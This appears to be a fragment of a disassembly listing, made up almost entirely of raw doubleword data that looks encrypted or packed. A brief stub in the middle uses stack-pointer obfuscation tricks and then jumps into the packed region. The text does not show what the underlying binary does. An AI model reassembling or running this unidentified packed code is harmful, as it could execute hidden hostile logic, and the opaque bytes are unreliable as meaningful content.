		dd 0E8D5B4EEh, 4F04E68Ah, 0D24D00EAh, 0BF184D86h, 6265E453h
		dd 7FE03703h, 114AB202h, 0C0771744h, 48527349h,	85BE0A85h
		dd 0E67FFDC2h, 3AFD4F04h, 0AF2D9A51h, 363409E8h, 0B64F04E6h
		dd 2E68B85Ch, 0BEF30458h, 9C79F264h, 0BA8B6AC9h, 4F057BB8h
		dd 2916C334h, 54F01F8Dh, 3D6528EBh, 82983FBEh, 7FFA7BD5h
		dd 3785F66Dh, 884FCDBAh, 0D9BD58B7h, 0FCA3945Ah, 0D7B631A6h
		dd 3E8A0DCBh, 0ED354805h, 9817C66Eh, 0EF5815A7h, 8855AA6Dh
		dd 0E454E9AFh, 2B7F8A33h, 18B01C3Fh, 49F59h, 255C1F00h
		dd 77F078A2h, 880FCA50h, 205B1D05h, 79F065BDh, 0A3F6C156h
		dd 0A10B732h, 50CACD4Ah, 0A47E619Ah, 6A11B437h,	9768CA3Bh
		dd 0A6C454EFh, 49C077E9h, 9C1FDC46h, 0DD9D85CCh, 7246C173h
		dd 73C8CC1h, 108B404Ah,	555D2DB8h, 0C18407B4h, 4B07F5E9h
		dd 1DF6F47Dh, 0B0CBB88Ah, 243C2E15h, 5B000000h,	2AED6FD8h
		dd 0E93283D5h, 6F2EE154h, 83028533h, 0E931BEA2h, 1A9D5A54h
		dd 0AE29AF7Bh, 41A5B1Ah, 77820000h, 0E97349C0h,	91E4EB62h
		dd 9EE7A624h, 54E8FC39h, 0D48563BDh, 2C11136Ch,	0A09354E9h
		dd 2356AD76h, 8CC132B5h, 0EF250B3Ch, 21A054E8h,	3AEF71F9h
		dd 0AA1E80B8h, 0CF8B44B9h, 390AC3h, 40A233F9h, 0F5000000h
		dd 2AED6FD8h, 0E90860D5h, 0B41BDC54h, 88AE8D5h,	29EA54E9h
		dd 75FB6C6Ch, 9F54E908h, 0F416A2DDh, 61F3C942h,	0F8D31B07h
		dd 4C37FE22h, 5533F8EBh, 0B3258F4Dh, 7EB3A038h,	0EBDA95h
		dd 777D0000h, 0E97349C0h, 95FEF464h, 0E6338060h, 391539B6h
		dd 0FC71D5FFh, 8DDF1045h, 9E41F87Fh, 3164C63Fh,	0FC04F05h
		dd 47F41642h, 521901C4h, 0F95281DBh, 351019E6h,	57044F05h
		dd 0E269B1D4h, 0AB64516Bh, 6C196629h, 1354E948h, 0DC641F7h
		dd 605D3C61h, 54E93802h, 0F270B162h, 7254E937h,	74A922A8h
		dd 7C299C03h, 47B81FFEh, 54E937E5h, 0BC3FBD47h,	3FBA3F4Bh
		dd 0FEB2F352h, 815ACFE0h, 0E15FDD22h, 1ADD4F07h, 3C235B1h
		dd 0B4DB5607h, 4B70EF6Eh, 2220D5C0h, 0F96CD587h, 79000002h
		dd 0C2587FF6h, 140E9116h, 67A322A5h, 0CF5B7AF5h, 1B0C930Eh
		dd 0D1480D9Ch, 67E054CEh, 0BB3CBA60h, 0CE490E14h, 6C5130CFh
		dd 54EF990Eh, 7743186Eh, 0DE444BC6h, 583F9E19h,	4E60567h
		dd 0D926674Fh, 4F04E65Bh, 0D92516D9h, 0AD309D14h, 0ED6FD838h
		dd 860D52Ah, 2DC54E9h, 38B87E22h, 16A297D3h, 0E92E4FD1h
		dd 0E020FA54h, 0F9115A29h, 0B38333h, 0CCCA0000h, 2CE966D6h
		dd 0E6F275E2h, 42169144h, 4E9949Dh, 79CB804Fh, 0F06379F0h
		dd 550218BFh, 12CB86D2h, 0C3F0CD90h, 0A354E903h, 0FE9F9DE2h
		dd 0DA1D54E8h, 0DA93E6E9h, 9988F558h, 0FD5ACFA4h, 8E4F5B3Ah
		dd 0F52D8C13h, 0ED6EEC44h, 2B3DFB8h, 0DD222FAEh, 4F07A25Fh
		dd 0F4291ADDh, 21166EF7h, 0EA4B0122h, 220h, 21A4DF90h
		dd 0D7F671F9h, 840B8E4Bh, 3CA3DC9Eh, 0D5F877E6h, 0B1247540h
		dd 0CB8B9736h, 1BD1494Ch, 0B625FDE0h, 0BAE99037h, 0EF98E745h
		dd 68274554h, 0F462C677h, 0E59E9CE1h, 0DD1E4F04h, 0A10B7E8h
		dd 2F0BCA4Dh, 36F27B50h, 0C5D8B59Dh, 50C07710h,	6F414E1Bh
		dd 0D0B7E806h, 0C18A0DCAh, 43FA718Bh, 9611C65Ch, 5CDE97C2h
		dd 3DAF84F9h, 0E50F54E9h, 73E0F873h, 0F3D2AA3Eh, 3651D32Ch
		dd 60D354E9h, 6E72BB7h,	0C4B7D651h, 3BD9900Bh, 0AA98110Bh
		dd 0CE8C9679h, 0C03D804Dh, 5ACD0887h, 0E341BEEFh, 414F0507h
		dd 0FD0F5D8Eh, 0B918FF7Eh, 507E644h, 0C2A09D4Fh, 224F0507h
		dd 4902F5F1h, 0FA75F903h, 7995CEEh, 51D19A8Bh, 0F5D8E02h
		dd 65ADD5BFh, 54BB711h,	0FD91D348h, 0F8D05703h,	79280F4Bh
		dd 0A183FCA3h, 34F0550h, 0C7389FD0h, 54E9738Ah,	7CA629EAh
		dd 64E755FFh, 0D5839933h, 77E40652h, 3376E4F4h,	0E9029562h
		dd 1AAA217Dh, 5083D95Eh, 0EDB74D1Fh, 72536DA5h,	0AF0F1D18h
		dd 5C8B6E39h, 0B6AB8E66h, 0BC26F324h, 0BE269574h, 0D21850A2h
		dd 37B0240Fh, 6FCE91C2h, 0E9B81416h, 0F25F9054h, 0AD2F98D3h
		dd 0A13D80EAh, 62393B04h, 78BB54E9h, 0C629691Eh, 0C83B768Ch
		dd 0E9A2CA09h, 0EC6BB716h, 0EA43A06Dh, 915ACDB9h, 0BA6FCD32h
		dd 0ACD4F05h, 0E6F22541h, 44149744h, 27B532A6h,	84D45705h
		dd 599191E9h, 277DA50Fh, 0C0159ACBh, 8B44C207h,	12F57720h
		dd 0E90B582Dh, 6C73A454h, 6F2EAC19h, 0D3AE5E16h, 4319DA5Ah
		dd 14BB32B9h, 0FACE490Eh, 920DCFDBh, 0A5A514C6h, 0A5812627h
		dd 9E5EA770h, 0F2887F23h, 0C28968A8h, 19DE444Bh, 1731330Ch
		dd 40B3886Ah, 94E9480Fh, 886A1696h, 95E92516h, 7B9F2BB7h
		dd 0C35973DCh, 0EB379611h, 0AA2EEB6Eh, 0E90808D2h, 3EE4EB62h
		dd 0CBAA3EB9h, 20h, 44508EE4h, 0BE1621F2h, 9B74F764h, 0C0A70632h
		dd 4E67DFFh, 0A729AF4Fh, 0F46877BBh, 0F4C09CAh,	7F4DC477h
		dd 0DDEF6EEDh, 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h
		dd 0CA9E19DBh, 0AA3EB930h, 0D5FD890h, 1E7868B3h, 0C890000h
		dd 61206824h, 0C890000h, 46066824h, 14890000h, 4B9BB924h
		dd 0C14978CEh, 0C18107E1h, 68D23A34h, 0BB53D1F7h, 164928FFh
		dd 8223C381h, 0D901BF99h, 148B545Bh, 4C48124h, 53000000h
		dd 89CA8952h, 5A895AD3h, 34FF5B08h, 0C4835A24h,	240C8B04h
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFF9C72Ah
		dd 2CB83006h, 305EAB6h,	7EE0FFC5h, 0ED32BD5Eh, 0BB657A1Eh
		dd 290BF45Bh, 0D30114A3h, 124F67C7h, 0DC7436C0h, 0CB3F9DF3h
		dd 90328A86h, 6C0CA62Ah, 4D009A85h, 0D46DF0B0h,	0E84259D4h
		dd 0Dh,	4703BC4Fh, 0B77EB792h, 0C01BF07Ah, 0C88B6681h
		dd 8117B15Eh, 6980C6h, 68F500h,	0F9000000h, 14E85Fh, 0AA2C0000h
		dd 0AD91C555h, 0A0AD3D0Ch, 1C437CB7h, 5DCC62B0h, 810FBA5Ah
		dd 1, 48B5BF5h,	54C0813Eh, 8A168C94h, 91E881F4h, 0E91A8724h
		dd 0Ah,	9C487E8Eh, 43DA4FF6h, 0E88195A2h, 88D82CEh, 3E0489FCh
		dd 0DCE98166h, 38A0F10h, 0F000000h, 0EF83DBBFh,	38C0F01h
		dd 66000000h, 4F4FCB8Bh, 1EB9664Fh, 18FF81FFh, 0FFFFF97h
		dd 0FFFFA985h, 0DF8B66FFh, 7E8h, 5B6EFD00h, 10221DBFh
		dd 6E8h, 0F86E0800h, 0F5ABAD0h,	5E5FF9BFh, 1D18AB8h, 4DC68125h
		dd 8B000073h, 1CAEBBD0h, 0B70F0000h, 8136FFC1h,	0FBF4D0C2h
		dd 0C280597Ch
		dd 6BC181F9h, 0F43D49Fh, 389h, 0FEB70F00h, 70EAF181h, 0F2807B8Eh
		dd 91E9817Bh, 666D7926h, 899965BFh, 0DE90Eh, 9D2C0000h
		dd 19ADCCD2h, 0B21E706h, 814C7B69h, 0F47EFDEEh,	0F9C6816Fh
		dd 0E96FF47Eh, 0Eh, 0B326999Bh,	595BC075h, 12A8F78Dh, 0F4BA713h
		dd 0FFFF9885h, 21CBAFFh, 8D8D3054h, 5EAB8F1h, 0CD5BD89h
		dd 8D8905E4h, 5E41095h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0B7C35545h, 0D7BB03D0h, 0C7BBDE80h, 0E42C6585h
		dd 71A005h, 31B58B00h, 0C705E42Dh, 0E430FD85h, 5, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 8A66BA69h, 8C0F6F29h, 1, 0F5B5FFF5h,	6A05E425h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 9D27C351h, 557CD12Bh, 81F38B87h, 1732B1C2h, 6195FF7Ch
		dd 6A05E42Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 625DC351h, 0C37C37F7h,	219D014Dh
		dd 6A05E428h, 0C195FF00h, 8B05E410h, 0CD28EBC0h, 7F85C2AEh
		dd 67CA456Eh, 62EC2544h, 4756C630h, 2C013A8Fh, 23B06384h
		dd 2D75FE27h, 0BB57C876h, 6E3B0B0Bh, 0EB219C49h, 8, 0EC700200h
		dd 4A6E972h, 2B680000h,	0E905EABAh, 0FFF9C48Eh,	0EABAA768h
		dd 0C484E905h, 2C68FFF9h, 0E905EABCh, 0FFF9C47Ah, 9D00BB3Ch
		dd 3352D585h, 0E0E762D7h, 983FB83Ah, 3154D382h,	0DC0D9E4h
		dd 0A717F392h, 0FF7DA528h, 0AC1597Ch, 16750C93h, 0EF9F4B29h
		dd 84D3A954h, 714BC677h, 0EAED6CEBh, 0E1A4269Fh, 0E9107B9Ch
		dd 7C412054h, 54E90FFEh, 0D6D0BD7Eh, 8E905765h,	3954E90Fh
		dd 9BE82161h, 2433F8F3h, 8AA038CEh, 0AC7BD6Ch, 30953h
		dd 5E48FA00h, 9679FBB4h, 0E86FEB37h, 49B663D0h,	54E91030h
		dd 0A405D304h, 0E155FB7Eh, 85A73566h, 0B46152D5h, 4E76624Fh
		dd 681E952h, 0C40058FBh, 4E07F25Fh, 55AA09CCh, 4786C3D7h
		dd 5629E255h, 6AECEC69h, 7547884Dh, 4A0D8F78h, 0DB989AEBh
		dd 0A444C6Ah, 1AE85CE5h, 3F985B47h, 5EA51768h, 0D407524Eh
		dd 2BA22971h, 7EF97EA4h, 0A2C12A79h, 0AA0BC129h, 300h
		dd 7D609B5Ch, 13B235A5h, 0C0C742F7h, 781F985Ah,	11B433A2h
		dd 6DE0B904h, 8737D3F2h, 0DF9D8508h, 6AE1395Ch,	7655ECF3h
		dd 0EFA02B09h, 0A4F38954h, 2AED6FD8h, 0EF9F73D5h, 5F3EF154h
		dd 0B8859243h, 54EF9EBAh, 2EADF93Ah, 0F5261DAFh, 988548D2h
		dd 0EF9EC5A7h, 83F42754h, 9B14C6DCh, 543B9A3Eh,	0EF9F096Bh
		dd 0EFA86B54h, 0EF9E9F86h, 5DDC9B54h, 0E81511Ch, 5F26B228h
		dd 284h, 0E1E41FD0h, 9736B139h,	444BCE8Bh, 0FCE31CDEh
		dd 9538B726h, 0F1643580h, 0BCB5776h, 5B11098Ch,	0F665BD20h
		dd 0FAA95077h, 0EF9FA785h, 28670554h, 2AED6FD8h, 0EF9F73D5h
		dd 0AA3EF154h, 0EF9EB3B5h, 1E995154h, 194E804Ah, 0C3A96490h
		dd 24B433A7h, 7EB6FA40h, 0C9939F6Bh, 5817156Ah,	0A29554EFh
		dd 3EBE85E9h, 0AB2F33FFh, 98000001h, 8451D682h,	60C077D7h
		dd 0AE3A6FE8h, 0F95CDF9Ch, 2FAB2DA1h, 0F18A95A1h, 6BD8F025h
		dd 62B81FAEh, 0D4A770F7h, 0C936991Bh, 54E92208h, 7ABE5BB7h
		dd 9F4C4004h, 0EA6E8832h, 0B3E45F6Dh, 0B6402619h, 10C454E9h
		dd 0AB17C597h, 0BCD9116Ch, 0D34D0C16h, 5E094AD3h, 14A49993h
		dd 6AA2EEB4h, 4E878B5Fh, 33F95DF5h, 5966h, 9B5B4700h, 0D81AB31Ch
		dd 4B2AED6Fh, 4E5F87Ah,	0D683744Fh, 8350E77h, 405A54E9h
		dd 0C2A09D88h, 2254E907h, 0D7D3BCF1h, 0BA0E894Dh, 0C3045489h
		dd 54E9085Dh, 22B631A7h, 0CCD65118h, 623B910Ah,	79509898h
		dd 0DBA861A1h, 0C33F8EAh, 0ABh,	0C80855BDh, 0FC5363BEh
		dd 0C077BA13h, 64E97349h, 7BF02AEDh, 0A74517C0h, 0CCD6B930h
		dd 73C8C0Fh, 7FFC0E4Ah,	0E064D9FCh, 0DC4F04EAh,	8EF99C1Fh
		dd 78FF7AD1h, 2197F360h, 0EC2112A6h, 90AAD429h,	498A54EBh
		dd 89C9AC86h, 3DA39E1Bh, 20958D50h, 79FC26A9h, 0C7D6F9FEh
		dd 0FF5D1C3Dh, 0FF36h, 61985B00h, 0B334A47Eh, 0C443F62Ch
		dd 1C9759C1h, 0B52CA179h, 0EFBA0512h, 36ECF36Eh, 9C860986h
		dd 0E03A5DDEh, 56EDF06Bh, 0A22C0E77h, 0F28854EFh, 62D6CCA5h
		dd 0B31CD7E5h, 646BE657h, 1FBE39BEh, 86E4D9B8h,	0E64F04E6h
		dd 77735835h, 0E97349C0h, 91E4EB62h, 9EE7A624h,	54E931C8h
		dd 59A29BF7h, 32479918h, 3B9A5D59h, 2CF36EEFh, 1F2704Dh
		dd 817254E9h, 0F8D2B1D4h, 0B510ADCEh, 1C652EBDh, 54E9441Ah
		dd 0DBFA7DFAh, 0B9138E4Fh, 6FF8h, 6FD82F00h, 77D52AEDh
		dd 2E54EF9Fh, 0BC447F4h, 0E1CAC6Fh, 53CFCE49h, 0AC8EF7E4h
		dd 854EF9Eh, 0BBEC6BEEh, 0DF208746h, 54EF9F5Dh,	9F393B04h
		dd 78BB54EFh, 88C08D4Eh, 0F66D0357h, 73BF09CBh,	0E121C129h
		dd 0B2EF1947h, 0BF3EBDD9h, 0FB550218h, 72E1FB7Eh, 0DF91AB01h
		dd 1C51C88Dh, 0EA16FC4Ch, 0CACD4C0Bh, 48609B50h, 3E9h
		dd 51063C00h, 7F4DC477h, 0DDEF6EEDh, 0BA0E894Fh, 19B32CA0h
		dd 85D75203h, 617BF667h, 0CA9E19DBh, 0AA3EB930h, 0D5FD890h
		dd 435868B3h, 4890000h,	455A6824h, 34890000h, 0E2895224h
		dd 4C281h, 0EA810000h, 4, 5C241487h, 52240489h,	5001D168h
		dd 24148B7Fh, 4C481h, 0D2F70000h, 44E3EA81h, 0D6897AC5h
		dd 48B545Ah, 4C48324h, 8904EC83h, 408F2434h, 24048B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		dw 948Dh
		dd 0EABD50B8h, 0FFC50305h, 5B58DBE0h, 0C846AC71h, 3EC517Fh
		dd 2B41CD45h, 5518983Ah, 0F703021Eh, 0FCF50A45h, 37FFE826h
		dd 10D62736h, 0ECE3AD5Dh, 0C8F2D227h, 1E137C22h, 7981AC4Eh
		dd 87BD006Dh, 14477E52h, 1439CA74h, 0AA15425Bh,	4C843B5Eh
		dd 834D4721h, 3CB41A71h, 75C28533h, 0DE835h, 0C1510000h
		dd 0BE774AD3h, 6CC6966Eh, 0BB6FC62Bh, 2F843193h, 0D6BF0F5Eh
		dd 7043C681h, 0FE90000h, 7A000000h, 6FA38225h, 7595E2B2h
		dd 0D45BCD92h, 0E2B9C4A1h, 8175E431h, 1BE9F1C1h, 0FF69B78Ah
		dd 13E936h, 11500000h, 548BE7C0h, 6ECAB287h, 6DED502Ah
		dd 6C6BBB77h, 830F589Eh, 2, 0E881DA8Bh,	6430BE79h, 1EF8166h
		dd 0B3C08184h, 662378B7h, 81E2BEBFh, 19C4B6E8h,	6A44BF07h
		dd 6897579h, 7E8h, 0D0580C00h, 0ACC2BF5Ah, 6E9h, 0CCB41D00h
		dd 5ACBD04Fh, 12EDEE81h, 0BF5360CBh, 106A4E76h,	0E9C6815Fh
		dd 0F60CB12h, 0C81h, 68C0F00h, 81000000h, 8F10FF7h, 850F4957h
		dd 1Ah,	0E9D1B70Fh, 2Dh, 0FCBC9E4h, 2290E1C1h, 0B2DFB645h
		dd 1F702072h, 0BA664386h, 54E902B4h, 0F3FFFFFFh, 282A5613h
		dd 2067B69Dh, 1FCD2E5Fh, 9D52C21Dh, 0CE8A8h, 2D250000h
		dd 0FB275666h, 308E5F40h, 0FE9D5F2h, 0F4000000h, 9AF1756Ah
		dd 0E3349BBEh, 0A46B1316h, 0E95EB2C4h, 11h, 34FF5483h
		dd 0B2C715D7h, 4463380Ah, 1DDC6C11h, 9BC68171h,	66000071h
		dd 0BA7874BFh, 3AC3421h, 0E802C281h, 0E950FC53h, 11h, 4A44463Fh
		dd 9F068132h, 62E5482Dh, 0BC4F88EFh, 68B5903h, 10E8h, 0F370000h
		dd 79BF977Dh, 62FC872Eh, 0DF1CC020h, 6DE181D8h,	595CB612h
		dd 0F13BC081h, 81F92F39h, 8A747EC0h, 0D8B70F79h, 0A053F081h
		dd 0F781477Dh, 52469539h, 850F0689h, 17h, 12E9h, 0B8065000h
		dd 0D23AF621h, 0D666ADD3h, 2B81D1F6h, 83432545h, 810F04EEh
		dd 0Dh,	8E9h, 0AC643C00h, 7A57F1A8h, 1EA8190h, 0F000000h
		dd 1B85h, 0E9CB8B00h, 2Dh, 9872DAFCh, 0A91689E1h, 0F980B471h
		dd 436BF0AAh, 61FCDCBDh, 0D9816660h, 0B866DA5Ah, 0E9615D96h
		dd 0FFFFFF5Ah, 0D0C23B9Fh, 2B60A2E4h, 83C08BAAh, 0E416A1BDh
		dd 9750005h, 220DBD83h,	740005E4h, 8B535019h, 421B8C0h
		dd 85890000h, 5E42215h,	0A8EB9D8Dh, 0D3FF05E6h,	0BD83585Bh
		dd 5E4220Dh, 50177400h,	421B853h, 85890000h, 5E42215h
		dd 0A5DA9D8Dh, 0D3FF05E6h, 0C08B585Bh, 1A959D8Bh, 85C605E4h
		dd 5E42A49h, 0B8526856h, 0B5FF9CA8h, 5E426F5h, 6D30858Dh
		dd 0D0FF05E7h, 68046Ah,	0FF000010h, 0E4210DB5h,	0FF006A05h
		dd 0FC085D0h, 0D85h, 0B800h, 8D8D0000h,	5E46FFDh, 0C88BE1FFh
		dd 4003C38Bh, 0F8053Ch,	508B0000h, 83D3030Ch, 0E402C9BDh
		dd 840F0005h, 0Eh, 2C99D8Bh, 858B05E4h,	5E408F1h, 52510389h
		dd 792E858Dh, 0D0FF05E4h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h
		dd 5E42A49h, 6D396856h,	0B5FFD41Fh, 5E426F5h, 6D30858Dh
		dd 0D0FF05E7h, 800068h,	52006A00h, 0C08BD0FFh, 16A1BD83h
		dd 750005E4h, 0DBD8309h, 5E422h, 53501974h, 21B8C08Bh
		dd 89000004h, 0E41A5585h, 529D8D05h, 0FF05E6A9h, 83585BD3h
		dd 0E4220DBDh, 17740005h, 21B85350h, 89000004h,	0E41A5585h
		dd 0F39D8D05h, 0FF05E6A5h, 8B585BD3h, 0C99D8DC0h, 8B05E402h
		dd 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h, 0CE800h
		dd 32270000h, 0DF1F7FFCh, 79D5EFE5h, 8B664744h,	6E95AF9h
		dd 0AE000000h, 8AC03EFEh, 0DFC281FDh, 0BE000073h, 48C69B1Ah
		dd 1CC3B8h, 0FF8CB700h,	0FFB70F32h, 0FE959h, 6CBB0000h
		dd 80141FCEh, 0A80D5319h, 0F4BA0268h, 5AE981EAh, 0F056C73h
		dd 1782h, 12E900h, 5910000h, 4E90DDDBh,	0AF7FCCC4h, 8083E8F6h
		dd 0EB6B18FEh, 383FC181h, 8F0F35B2h, 3,	81F9F380h, 0C922B4F1h
		dd 0F18B6610h, 0D98B6651h, 0F60028Fh, 68Fh, 800F00h, 61000000h
		dd 5104EA83h, 2890Fh, 61600000h, 1E8815Fh, 0F000000h, 0F85h
		dd 0E7BF6600h, 1FE92Fh,	7C3B0000h, 0B66F87E7h, 0FFFF6AE9h
		dd 5A86B4FFh, 0CCFECC15h, 0E4047199h, 0A606A6h,	0C62D85A8h
		dd 2AE989h, 4C70000h, 24h, 0E800h, 815D0000h, 0EAC299EDh
		dd 24448B05h, 25858904h, 0B805E416h, 0
		dd 4C308D8Dh, 0E1FF05E4h, 6754B8h, 0B99D8D00h, 0B805E413h
		dd 1434h, 25C98589h, 0E805E4h, 58000000h, 0D05h, 0E9038900h
		dd 1434h, 50Dh dup(0)
		dd 0AE8h, 4D103B00h, 0BA1C6DB0h, 0F39BDCEh, 0F59F0B7h
		dd 0C181C7B7h, 5CC6h, 0BBD2BF0Fh, 0DE29B99h, 8C9EF381h
		dd 398B0DE2h, 4F6091BEh, 5EF7814Bh, 813103C2h, 60FE6DF7h
		dd 198D0F4Ch, 0E9000000h, 14h, 45D9318Ch, 3E87D03Bh, 9120E2Fh
		dd 0C00C5A17h, 276A3E48h, 0CAAAC781h, 57F90C55h, 68C0Fh
		dd 0CE810000h, 749BB41Eh, 0E956018Fh, 6, 0DF687BD5h, 835A86B4h
		dd 0C88004E9h, 850F4B9Fh, 16h, 20E919B4h, 0E7000000h, 0FF6967E5h
		dd 0C488AE33h, 7FA0E556h, 83E9E8D3h, 0B6FFFFFFh, 0E7B40E39h
		dd 13A5F3CFh, 0E9E405E0h, 3Bh, 89BD8B60h, 8305E42Dh, 0C93304EFh
		dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h
		dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h
		dd 0FFFFD382h, 8BC361FFh, 0FDED55C8h, 0F67A5E75h, 0E669A476h
		dd 0FD49BC56h, 0FD20088Ah, 0FD2026E8h, 0FD203129h, 0FD20B88Fh
		dd 0FD207E79h, 0FD209C57h, 0FD20ED3Ch, 0FD20551Dh, 0FD200908h
		dd 0FD202637h, 0FD20310Ch, 0FD20BD61h, 0FD207EC2h, 0FD209CA3h
		dd 0FD20ED8Ch, 0FD205348h, 0FD20089Ch, 358A259Dh, 0D6A22295h
		dd 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h, 0FD799775h
		dd 0FD78CB74h, 0F57DED73h, 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h
		dd 0FD7A5E75h, 0A7373176h, 0A737D975h, 0FD7ACB75h, 0FC7BE475h
		dd 0FC7BF374h, 0F8B29074h, 701ABC75h, 17A67EF0h, 0AAFFA670h
		dd 707F7DADh, 17A6FDF0h, 0EAFF6C70h, 707F18ADh,	17A60DF0h
		dd 0AEFF3570h, 707FB4ADh, 17A1FBF0h, 0E6FF1E70h, 707F21ADh
		dd 17A176F0h, 0E2FF7B70h, 707F93ADh, 17A08DF0h,	0DEFFD770h
		dd 707FC5ADh, 17A0D4F0h, 0DAFF4270h, 707F0FADh,	17A0ABF0h
		dd 0D6FFF070h, 707F56ADh, 17A0EAF0h, 0CAFFA670h, 707F7DADh
		dd 17A04BF0h, 0D2FF6C70h, 707F18ADh, 17A0E6F0h,	0CEFF3570h
		dd 707FB4ADh, 17A09BF0h, 0CAFF1E70h, 707F21ADh,	17A00BF0h
		dd 0BAFF7B70h, 707F93ADh, 17A1B1F0h, 0B6FFD770h, 707FC5ADh
		dd 17A1A7F0h, 0B2FF4270h, 707F0FADh, 17A18BF0h,	0C6FFF070h
		dd 707F56ADh, 17A1EEF0h, 0C2FFA670h, 707F7DADh,	17A680F0h
		dd 0BEFF6C70h, 767F18ADh, 197A74F0h, 6DFF3570h,	767FB4ADh
		dd 19671EF0h, 69FF1E70h, 9C7F21ADh, 11F1B0B6h, 0FD7AF29Dh
		dd 17FB2375h, 0F89065D1h, 0F53FD525h, 25F5ADFDh, 3422929Fh
		dd 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h, 7C277975h, 17A37998h
		dd 0EBFFA070h, 7D7FC5ADh, 17A281C8h, 0B409CF70h, 4B75E4C5h
		dd 89BAF9B5h, 69EF8635h, 0BD7F56ADh, 452B96FEh,	0FD7A2F7Ah
		dd 25EE028Ah, 48F7CE9Fh, 0F8903D62h, 50FCC6F8h,	0FD7E4B9Dh
		dd 456FCF75h, 0FD7A5E76h, 25EEBA8Ah, 48F7929Fh,	0F8901362h
		dd 50FCD1F8h, 1F23228Ah, 0EBF787BCh, 0A07F56ADh, 0A320052Dh
		dd 6D92EC2Ch, 4D7A9777h, 5779C1CDh, 25EA708Ah, 3ED1F79Fh
		dd 0FD78079Dh, 9BC2DA75h, 9B5954CDh, 6DEFD0DEh,	9B7F7DADh
		dd 959208DEh, 0B7AE577h, 8872F336h, 6DEF866Eh, 4D7F56ADh
		dd 0AD7954C5h, 25EABA8Ah, 9B20929Fh, 9B7E2BF6h,	561C277Eh
		dd 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh
		dd 0DF709491h, 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h
		dd 0A77ABC77h, 120E844Eh, 16D049C5h, 0FCA77FA9h, 0BE8CCB75h
		dd 0D30FED74h, 0FF7B1A26h, 0B207975h, 8872BD36h, 89A06554h
		dd 3D59A568h, 0DF709491h, 4DBA07F5h, 6885B5FFh,	0F8902AE5h
		dd 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h, 0BD9285E9h, 4D7A9774h
		dd 359261F4h, 157AE574h, 0FD7AF22Dh, 0FC5791DEh, 60CABC75h
		dd 61CA9DDFh, 0FC5BC7DFh, 451C9775h, 561C4A13h,	0FD7B439Dh
		dd 0FD4C1A75h, 561C7975h, 0FD7BB69Dh, 57E7EE75h, 57E69FB6h
		dd 0FD7A699Dh, 0FCF32375h, 0BE8CE575h, 0F20FFA74h, 15D0F9C5h
		dd 0FD7ABC65h, 0F99EDEDFh, 1584487Dh, 0FD7A97AAh, 3ED056C5h
		dd 0FD7AE2CDh, 69EF0D75h, 707F93ADh, 17A2E7C0h,	518A5D70h
		dd 2D02C7Fh, 17A207E0h,	0E5920870h, 4D7AE574h, 5779F825h
		dd 2844B9Dh, 0FC43548Ah, 0A5CA5E75h, 3ED02C7Fh,	4DD0C7C5h
		dd 0E1926127h, 9B851A8Bh, 9B4BFDCDh, 36B91DEh, 0A7CA438Ah
		dd 5722EEDFh, 57929FB6h, 0C923C22h, 0A77ACB75h,	3F5122FEh
		dd 747E1AF6h, 8B9177h, 592438Ah, 4D7A5E75h, 5779252Dh
		dd 0F0FF69B6h, 7D7F21ADh, 17A2E8C8h, 0EC0FF370h, 2505FCF8h
		dd 152AB99Fh, 0FD7A5C61h, 0FD781B9Dh, 571A2775h, 287759Dh
		dd 0C30D8Ah, 9CCA0D8Ah,	0F0F787DFh, 7D7F56ADh, 17A253C8h
		dd 0F10F2F70h, 250512F8h, 152ACE9Fh, 0FD7AE4DEh, 0FD7E4AB6h
		dd 68857975h, 0F89064E1h, 21A6C3F8h, 0F9F02A9Fh, 4DB93D6Dh
		dd 562D619Ch, 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh,	3E783571h
		dd 25EACB8Ah, 4ACE2A9Fh, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h
		dd 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h
		dd 6DEF68B6h, 7D7F21ADh, 39FAEA91h, 9B7542F5h, 15D12EDEh
		dd 285415Ah, 0D6BDD52Fh, 0F992ACB7h, 45B995FCh,	0FD7ACB73h
		dd 25EE708Ah, 60F7F79Fh, 0F890A106h, 3E39A0F8h,	0FD7A4ECDh
		dd 69EFD075h, 7E7F7DADh, 35F1CEB5h, 6DEF1A89h, 577F18ADh
		dd 15B98E97h, 28543BEh,	0D97B1DFFh, 778E5A72h, 0FC6C7F76h
		dd 1608CB75h, 8831DB6h,	11F1A789h, 9D86BDF6h, 0FD7ABC9Dh
		dd 17FB0475h, 0F890F399h, 7D86EAFCh, 17A244CFh,	7975E570h
		dd 0FD7AF2ECh, 0FD7A73CDh, 69E84375h, 0BD7FB4ADh, 25E2ADFCh
		dd 35F1929Fh, 20BA79F8h, 6F85E09Fh, 0F8902AE5h,	1F3C7FFDh
		dd 0FD6D0480h, 7F795E75h, 0F890F7EDh, 49E01A35h, 7E7F21A8h
		dd 0FEF3E1B6h, 0FD644B22h, 77797975h, 0F89064EDh, 20D8ECF8h
		dd 59892A9Fh, 0FD722F2Bh, 6F85CB75h, 0F8903DE1h, 897E0AF6h
